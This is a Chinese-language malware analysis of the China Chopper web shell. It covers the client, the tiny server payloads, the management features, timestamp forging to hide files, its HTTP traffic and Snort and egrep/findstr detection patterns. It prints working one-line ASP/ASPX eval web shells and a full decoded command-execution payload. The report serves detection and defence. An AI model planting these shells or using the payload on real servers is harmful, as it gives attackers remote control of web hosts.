对中国菜刀的技术分析报告

Web Shell客户端:

中国菜刀的客户端可在www.maicaidao.com下载到,

Web shell (CnC) Client        MD5

caidao.exe                    5001ef50c7e869253a7c152a638eab8a

客户端使用UPX加壳,有220672个字节大小,如图1所示:

对中国菜刀的技术分析报告_第1张图片

图1,使用WinHex工具查看

使用脱壳工具脱壳,可以看到一些隐藏的细节:

C:\Documents and Settings\Administrator\Desktop>upx -d 5001ef50c7e869253a7c152a638eab8a.exe -o decomp.exeUltimate Packer for eXecutablesCopyright (C) 1996 - 2011

UPX 3.08w       Markus Oberhumer, Laszlo Molnar & John Reiser   Dec 12th 2011

File size         Ratio      Format      Name

--------------------   ------   -----------   -----------

700416 <-    220672   31.51%    win32/pe     decomp.exe

Unpacked 1 file.

使用PEID(一个免费检测软件使用的加壳手法的工具),我们可以看到解压缩后的客户端程序使用Visual C + + 6.0编写,如图2所示:

对中国菜刀的技术分析报告_第2张图片

图2 PEID显示程序所用语言

因为字符串没有进行编码,所以可以通过打印输出该后门如何通信,我们可以看到一个url google.com.hk(图3),以及参考文本Chopper(图4)

对中国菜刀的技术分析报告_第3张图片

图3 打印字符串refer www.google.com.hk

对中国菜刀的技术分析报告_第4张图片

图4 菜刀的客户端二进制文件参考文档

打开中国菜刀界面,我们可以看到该工具是一款图形界面工具,并且提供了添加自己的目标、管理的功能,在客户端软件上,右键单击选择“添加”,输入IP地址,以及密码和编码方式,如图5所示

对中国菜刀的技术分析报告_第5张图片

图5:中国菜刀客户端界面

服务端payload组件

中国菜刀的工具是一款Webshell管理工具,相应必然有一个服务端的程序,它支持各种语言,如ASP、ASPX、PHP、JSP、CFM,一些官网下载原始程序MD5 HASH如下:

Web shell Payload MD5 Hash

Customize.aspx 8aa603ee2454da64f4c70f24cc0b5e08

Customize.cfm ad8288227240477a95fb023551773c84

Customize.jsp acba8115d027529763ea5c7ed6621499

例子如下:

PHP:ASP:<%evalrequest("pass")%>

.NET:<%@PageLanguage="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>

在实际使用过程中,替换PASS为链接的时候需要的密码。

功能

上面简单介绍了中国菜刀的客户端和服务端的,下面来介绍下该款工具的其他功能,中国菜刀包含了“安全扫描”功能,攻击者能够使用爬虫或暴力破解来攻击目标站点,如下图:

对中国菜刀的技术分析报告_第6张图片

在除了发现漏洞之外,中国菜刀最强大的莫过于管理功能了,包含以下内容:

1、文件管理(文件资源管理器)

2、数据库管理(DB客户端)

3、虚拟终端(命令行)

在中国菜刀的客户端界面中,右键单击一个目标可以查看相应的功能列表,如图7:

对中国菜刀的技术分析报告_第7张图片

文件管理

中国菜刀作为一个远程访问工具(RAT),包含了常见的上传、下载、编辑、删除、复制、重命名以及改变文件的时间戳。如图8:

对中国菜刀的技术分析报告_第8张图片

修改文件功能现在常见的webshell就带了该功能,图9显示了测试目录的三个文件,因为Windows资源管理器只显示“修改日期”字段,所以通常情况下,能够达到隐藏操作的目的:

对中国菜刀的技术分析报告_第9张图片

使用工具将文件修改和其他两个文件相同,如图10,可以看到文件的修改的日期和其他两个文件一致,如果不是专业的人士,一般不会看出这几个文件的区别:

对中国菜刀的技术分析报告_第10张图片

当文件的创建日期和修改日期被修改之后,查出异常文件非常麻烦,需要分析主文件表MFT以及FTK,fireeye建议使用工具mftdump来进行分析,该工具能够提取文件元数据进行分析。

下表显示了从MFT中提取的Webshell时间戳,注意"fn*"字段包含了文件的原始时间。

Category           Pre-touch match Post-touch match

siCreateTime (UTC) 6/6/2013 16:01 2/21/2003 22:48

siAccessTime (UTC) 6/20/2013 1:41 6/25/2013 18:56

siModTime (UTC) 6/7/2013 0:33 2/21/2003 22:48

siMFTModTime (UTC) 6/20/2013 1:54 6/25/2013 18:56

fnCreateTime (UTC) 6/6/2013 16:01 6/6/2013 16:01

fnAccessTime (UTC) 6/6/2013 16:03 6/6/2013 16:03

fnModTime (UTC) 6/4/2013 15:42 6/4/2013 15:42

fnMFTModTime (UTC) 6/6/2013 16:04 6/6/2013 16:04

数据库管理

中国菜刀支持各种数据库,如MYSQL,MSSQL,ORACLE,INFOMIX,ACCESS等,数据库操作界面,内置了一些常用的数据库语句,能够自动显示表名、列名,查询语句,并且内置了常用的数据库语句。如下图11:

对中国菜刀的技术分析报告_第11张图片

链接之后,菜刀提供了一些常见的数据库语句,如图12:

对中国菜刀的技术分析报告_第12张图片

命令行功能

最后,菜刀提供了一个命令行界面,能够通过命令行shell进行操作系统级别的互动,当然继承的权限是WEB应用的权限。如图13:

对中国菜刀的技术分析报告_第13张图片

Payload属性

除了以上的功能之外,中国菜刀的能够在黑客圈广泛使用,还有以下几个因素:

1、大小

2、服务端内容

3、客户端内容

4、是否免杀

大小

中国菜刀的服务端脚本非常小,是典型的一句话木马,其中aspx服务端软件只有73字节,见图14,相比其他传统的webshell可见它的优越性。

对中国菜刀的技术分析报告_第14张图片

服务端内容

中国菜刀的服务端代码除了简洁之外,并且支持多种加密、编码,下图是aspx的服务端代码,

对中国菜刀的技术分析报告_第15张图片

客户端内容

在浏览器不会产生任何客户端代码,如图16:

对中国菜刀的技术分析报告_第16张图片

杀毒软件检测:

大多数杀毒软件不能检测出该工具。如下图:

对中国菜刀的技术分析报告_第17张图片

对中国菜刀的技术分析报告_第18张图片

平台:

web服务器平台——JSP, ASP, ASPX, PHP, 或 CFM。同时在Windows和Linux适用。在系列一的分析里面已经展示过“中国菜刀”在windows 2003 IIS 中运行ASPX的情况。在这一部分里,讲展示运行在Linux平台下的PHP情况。如下图所示,PHP版本的内容极其精简。

对中国菜刀的技术分析报告_第19张图片

依赖与不同的平台,“中国菜刀”有不同的可选项。下图显示了在Linux平台下的文件管理特性,(类似于Windows)

对中国菜刀的技术分析报告_第20张图片

下图显示了在MySQL下其数据库客户端例子,(对Linux目标服务器的数据库管理)

对中国菜刀的技术分析报告_第21张图片

如下图所示,虚拟终端命令行也长得很像。但是使用Linux命令而不是Windows命令

对中国菜刀的技术分析报告_第22张图片

上传机制:

由于它的大小,格式,以及简单的payload,“中国菜刀”的传输机制可以很灵活多样。以下任意一种方法都可以进行传输

通过WebDAV文件上传

通过JBoss jmx-console 或者Apache的Tomcat管理页面上传

远程代码执行下载

通过其他方式接入后传输

通讯分析:

我们已经看过它在服务器端的payload以及控制web shell的客户端。接下来,我们检查一下“中国菜刀”的通讯网络流量。我们通过抓包软件,分析其服务端和客户端的通讯情况,如下图所示,客户端在80端口上,以HTTP POST方式通讯。

对中国菜刀的技术分析报告_第23张图片

利用抓包软件Wireshark的“follow the TCP”功能可以看到整个TCP数据交互过程。如下图所示,上面红色部分为攻击者(客户端)POST提交控制命令的内容,下面蓝色部分为被控端返回结果

对中国菜刀的技术分析报告_第24张图片

从图中可见攻击控制代码经过Base64编码,我们利用Web调试器Fiddler的TextWizard功能可以轻易解码,看看攻击者到底发送了什么。(注意%3D是URL编码,实际上是“=”)Fiddler需要这个转换一下。

其攻击payload的编码情况如下如下所示

Password=Response.Write("->|");

var err:Exception;try{eval(System.Text.Encoding.GetEncoding(65001).GetString(System. Convert.FromBase64String("dmFyIGM9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzU3RhcnRJbmZvKFN5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoxIl0pKSk7dmFyIGU9bmV3IFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzKCk7dmFyIG91dDpTeXN0ZW0uSU8uU3RyZWFtUmVhZGVyLEVJOlN5c3RlbS5JTy5TdHJlYW1SZWFkZXI7Yy5Vc2VTaGVsbEV4ZWN1dGU9ZmFsc2U7Yy5SZWRpcmVjdFN0YW5kYXJkT3V0cHV0PXRydWU7Yy5SZWRpcmVjdFN0YW5kYXJkRXJyb3I9dHJ1ZTtlLlN0YXJ0SW5mbz1jO2MuQXJndW1lbnRzPSIvYyAiK1N5c3RlbS5UZXh0LkVuY29kaW5nLkdldEVuY29kaW5nKDY1MDAxKS5HZXRTdHJpbmcoU3lzdGVtLkNvbnZlcnQuRnJvbUJhc2U2NFN0cmluZyhSZXF1ZXN0Lkl0ZW1bInoyIl0pKTtlLlN0YXJ0KCk7b3V0PWUuU3RhbmRhcmRPdXRwdXQ7RUk9ZS5TdGFuZGFyZEVycm9yO2UuQ2xvc2UoKTtSZXNwb25zZS5Xcml0ZShvdXQuUmVhZFRvRW5kKCkrRUkuUmVhZFRvRW5kKCkpOw%3D%3D")),"unsafe");}catch(err){Response.Write("ERROR:// "%2Berr.message);}Response.Write("|<-");Response.End();&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

使用Fiddler的text wizard功能将其base64解码为明文, 如下图所示

对中国菜刀的技术分析报告_第25张图片

解码后的数据如下所示:

varc=newSystem.Diagnostics.ProcessStartInfo(System.Text.Encoding.GetEncoding(65001).

GetString(System.Convert.FromBase64String(Request.Item["z1"])));

vare=newSystem.Diagnostics.Process();

varout:System.IO.StreamReader,EI:System.IO.StreamReader;

c.UseShellExecute=false;

c.RedirectStandardOutput=true;c.RedirectStandardError=true;

e.StartInfo=c;c.Arguments="/c"+System.Text.Encoding.GetEncoding(65001).

GetString(System.Convert.FromBase64String(Request.Item["z2"]));

e.Start();out=e.StandardOutput;EI=e.StandardError;e.Close();

Response.Write(out.ReadToEnd()+EI.ReadToEnd());

上面这段代码的意思是使用base64解码存储在z1、z2这两个参数中的数据。接下来我们来查看z1与z2对应的值。

注意下面加粗部分参数z1与z2:

&z1=Y21k&z2=Y2QgL2QgImM6XGluZXRwdWJcd3d3cm9vdFwiJndob2FtaSZlY2hvIFtTXSZjZCZlY2hvIFtFXQ%3D%3D

base64解码参数对应的值,如下所示:

z1=cmdz2=cd /d "c:\inetpub\wwwroot\"&whoami&echo [S]&cd&echo [E]

其中z1的值是cmd,z2的值是cd /d “c:\inetpub\wwwroot\”&whoami&echo [S]&cd&echo [E]。该操作的意思就是执行cmd命令,列出当前用户与当前目录,执行结果如下所示:

->|nt authority\network service[S]C:\Inetpub\wwwroot[E]|<-

检测:

now,我们知道中国菜刀的流量通信的特征,可以利用网络或主机级别的防护软件检测这种恶意通信。

网络:

可以利用Snort编写规则检测中国菜刀的流量,能够轻松的捕获到异常数据,Keith Tyler在他的博客中给出了一个基本的IDS规则:

alert tcp any any -> any 80 ( sid:900001; content:"base64_decode";http_client_body;flow:to_server,established; content:"POST"; nocase;http_method; ;msg:"Webshell Detected Apache";)

为了减少误报,我们将该段规则修改了下,只检测数据包内容中包含FromBase64String以及z1,如下:

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS

(msg: "China Chopper with first Command Detected";

flow:to_server,established; content: "FromBase64String";

content: "z1"; content:"POST"; nocase;http_method;

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

breaking-down-the-china-chopper-web-shell-part-i.html;

classtype:web-application-attack; sid: 900000101;)

以下规则更进一步优化,以下规则在数据包中查找FromBase64String,并且利用正则表达式匹配z后面任意一到三的数字组合,如Z1、Z10、Z100等。

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS

(msg: "China Chopper with all Commands Detected"; flow:to_server,established;

content: "FromBase64String"; content: "z"; pcre: "/Z\d{1,3}/i"; content:"POST"; nocase;http_method;

reference:url,http://www.fireeye.com/blog/technical/botnet-activities-research/2013/08/

breaking-down-the-china-chopper-web-shell-part-i.html;

classtype:web-application-attack; sid: 900000102;)

这些IDS特征都可以进一步优化,OK,我们了解了网络层面如何检测中国菜刀数据包,接下来介绍下如何通过主机级别的检测发现该数据包。

主机:

在Linux上最快最简单的方法查找中国菜刀,可以利用egrep+正则表达式识别被感染的文件,如下:

egrep -re ' [<][?]php\s\@eval[(]\$_POST\[.+\][)];[?][>]' *.php

对中国菜刀的技术分析报告_第26张图片

egrep+正则表达式是一个强大的组合,国外安全研究者Ian Ahl编写了一些正则表达式教程,如下:

regex basics

Using regex with Notepad

另外,Window提供了一种方法,通过findstr命令加上正则表达式搜索文件。如下图:

可以看到在Windows上正则表达式与linux略有区别,如下:

findstr /R "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php

以上命令是查找PHP shell,如果要查找ASPX shell,只需修改正则表达式即可,如下:

egrep -re '[<]\%\@\sPage\sLanguage=.Jscript.\%[>][<]\%eval.Request\.Item.+unsafe' *.aspx

findstr /R "[<]\%\@.Page.Language=.Jscript.\%[>][<]\%eval.Request\.Item.*unsafe" *.aspx

如果你要查找一些隐藏的PHP或ASPX文件,可以使用dir命令来,如下图:

dir /S /A /B *.php

对中国菜刀的技术分析报告_第27张图片

Findstr还可以搜索子目录:

findstr /R /S "[<][?]php.\@eval[(]\$_POST.*[)];[?][>]" *.php

对中国菜刀的技术分析报告_第28张图片

你可能感兴趣的:(对中国菜刀的技术分析报告)